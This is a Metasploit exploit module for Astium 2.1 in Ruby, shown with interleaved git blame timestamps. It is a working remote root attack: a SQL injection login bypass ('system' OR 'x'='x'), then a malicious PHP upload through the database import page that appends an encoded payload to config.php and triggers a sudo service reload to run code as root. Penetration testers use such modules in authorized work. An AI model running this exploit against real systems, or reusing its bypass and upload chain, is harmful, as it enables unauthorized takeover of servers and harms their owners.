metasploit-framework/modules/exploits/linux/http/astium_sqli_upload.rb

184 lines
6.3 KiB
Ruby
Raw Normal View History

2013-09-17 05:32:10 +00:00
##
2017-07-24 13:26:21 +00:00
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
2013-09-17 05:32:10 +00:00
##
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Exploit::Remote
2013-09-19 16:51:07 +00:00
Rank = ManualRanking # Configuration is overwritten and service reloaded
2013-09-17 05:32:10 +00:00
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "Astium Remote Code Execution",
2013-09-17 05:32:10 +00:00
'Description' => %q{
2013-09-19 16:51:07 +00:00
This module exploits vulnerabilities found in Astium astium-confweb-2.1-25399 RPM and
lower. A SQL Injection vulnerability is used to achieve authentication bypass and gain
admin access. From an admin session arbitrary PHP code upload is possible. It is used
to add the final PHP payload to "/usr/local/astium/web/php/config.php" and execute the
"sudo /sbin/service astcfgd reload" command to reload the configuration and achieve
remote root code execution.
2013-09-17 05:32:10 +00:00
},
'License' => MSF_LICENSE,
'Author' =>
[
'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module
],
'References' =>
[
[ 'OSVDB', '88860' ],
2013-09-17 05:32:10 +00:00
[ 'EDB', '23831' ]
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
2013-09-19 16:51:07 +00:00
['Astium 2.1', {}]
2013-09-17 05:32:10 +00:00
],
'Privileged' => true,
2013-09-17 05:32:10 +00:00
'DisclosureDate' => "Sep 17 2013",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the Astium installation', '/']),
])
2013-09-17 05:32:10 +00:00
end
2013-09-19 16:51:07 +00:00
def uri
return target_uri.path
end
2013-09-17 05:32:10 +00:00
2013-09-19 16:51:07 +00:00
def check
2013-09-17 05:32:10 +00:00
# Check version
vprint_status("Trying to detect Astium")
2013-09-17 05:32:10 +00:00
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, "en", "content", "index.php")
})
if res and res.code == 302 and res.body =~ /direct entry from outside/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Unknown
end
end
def exploit
print_status("Access login page")
2013-09-17 05:32:10 +00:00
res = send_request_cgi({
'method' => 'GET',
2013-09-19 16:51:07 +00:00
'uri' => normalize_uri(uri),
'vars_get' => {
'js' => '0',
'ctest' => '1',
'origlink' => '/en/content/index.php'
}
2013-09-17 05:32:10 +00:00
})
2013-09-19 16:51:07 +00:00
if res and res.code == 302 and res.get_cookies =~ /astiumnls=([a-zA-Z0-9]+)/
session = $1
print_good("Session cookie is [ #{session} ]")
2013-09-17 05:32:10 +00:00
redirect = URI(res.headers['Location'])
print_status("Location is [ #{redirect} ]")
2013-09-17 05:32:10 +00:00
else
2015-04-16 19:44:56 +00:00
fail_with(Failure::Unknown, "#{peer} - Access to login page failed!")
2013-09-17 05:32:10 +00:00
end
# Follow redirection process
print_status("Following redirection")
2013-09-17 05:32:10 +00:00
res = send_request_cgi({
'uri' => "#{redirect}",
'method' => 'GET',
'cookie' => "astiumnls=#{session}"
})
if not res or res.code != 200
2015-04-16 19:44:56 +00:00
fail_with(Failure::Unknown, "#{peer} - Redirect failed!")
2013-09-17 05:32:10 +00:00
end
2013-09-19 16:51:07 +00:00
sqlirandom = rand_text_numeric(8)
2013-09-17 05:32:10 +00:00
# SQLi to bypass authentication
sqli="system' OR '#{sqlirandom}'='#{sqlirandom}"
2013-09-17 05:32:10 +00:00
# Random password
pass = rand_text_alphanumeric(10)
post_data = "__act=submit&user_name=#{sqli}&pass_word=#{pass}&submit=Login"
print_status("Using SQLi to bypass authentication")
2013-09-17 05:32:10 +00:00
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, "/en", "logon.php"),
'cookie' => "astiumnls=#{session}",
'data' => post_data
})
if not res or res.code != 302
2015-04-16 19:44:56 +00:00
fail_with(Failure::Unknown, "#{peer} - Login bypass was not succesful!")
2013-09-17 05:32:10 +00:00
end
# Random filename
payload_name = rand_text_alpha(rand(10) + 5) + '.php'
phppayload = "<?php "
# Make backup of the "/usr/local/astium/web/php/config.php" file
phppayload << "$orig = file_get_contents('/usr/local/astium/web/php/config.php');"
2013-09-26 03:23:33 +00:00
# Add the payload to the end of "/usr/local/astium/web/php/config.php". Also do a check if we are root,
# else during the config reload it might happen that an extra shell is spawned as the apache user.
phppayload << "$replacement = base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\");"
phppayload << "$f = fopen('/usr/local/astium/web/php/config.php', 'w');"
2013-09-26 03:23:33 +00:00
phppayload << "fwrite($f, $orig . \"<?php if (posix_getuid() == 0) {\" . $replacement . \"} ?>\");"
phppayload << "fclose($f);"
2013-09-26 03:23:33 +00:00
# Reload astcfgd using sudo (so it will read our payload with root privileges).
phppayload << "system('sudo /sbin/service astcfgd reload');"
2013-09-17 05:32:10 +00:00
# Sleep 1 minute, so that we have enough time for the reload to trigger our payload
phppayload << "sleep(60);"
# Restore our original config.php, else the Astium web interface won't work anymore.
phppayload << "$f = fopen('/usr/local/astium/web/php/config.php', 'w');"
phppayload << "fwrite($f, $orig);"
phppayload << "fclose($f);"
phppayload << "?>"
post_data = Rex::MIME::Message.new
post_data.add_part("submit", nil, nil, "form-data; name=\"__act\"")
post_data.add_part(phppayload, "application/octet-stream", nil, "file; name=\"importcompany\"; filename=\"#{payload_name}\"")
2014-02-11 04:23:23 +00:00
file = post_data.to_s
print_status("Uploading Payload [ #{payload_name} ]")
2013-09-17 05:32:10 +00:00
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, "en", "database", "import.php"),
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
2013-09-17 05:32:10 +00:00
'cookie' => "astiumnls=#{session}",
'data' => file
2013-09-17 05:32:10 +00:00
})
# If the server returns 200 and the body contains our payload name,
# we assume we uploaded the malicious file successfully
2013-09-19 16:51:07 +00:00
if not res or res.code != 200 or res.body !~ /#{payload_name}/
2015-04-16 19:44:56 +00:00
fail_with(Failure::Unknown, "#{peer} - File wasn't uploaded, aborting!")
2013-09-17 05:32:10 +00:00
end
register_file_for_cleanup("/usr/local/astium/web/html/upload/#{payload_name}")
2013-09-17 05:32:10 +00:00
print_status("Requesting Payload [ #{uri}upload/#{payload_name} ]")
print_status("Waiting as the reloading process may take some time, this may take a couple of minutes")
2013-09-17 05:32:10 +00:00
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, "upload", "#{payload_name}")
2013-09-26 03:23:33 +00:00
}, 120)
2013-09-17 05:32:10 +00:00
# If we don't get a 200 when we request our malicious payload, we suspect
# we don't have a shell, either.
2013-09-17 05:32:10 +00:00
if res and res.code != 200
print_error("Unexpected response...")
2013-09-17 05:32:10 +00:00
end
end
end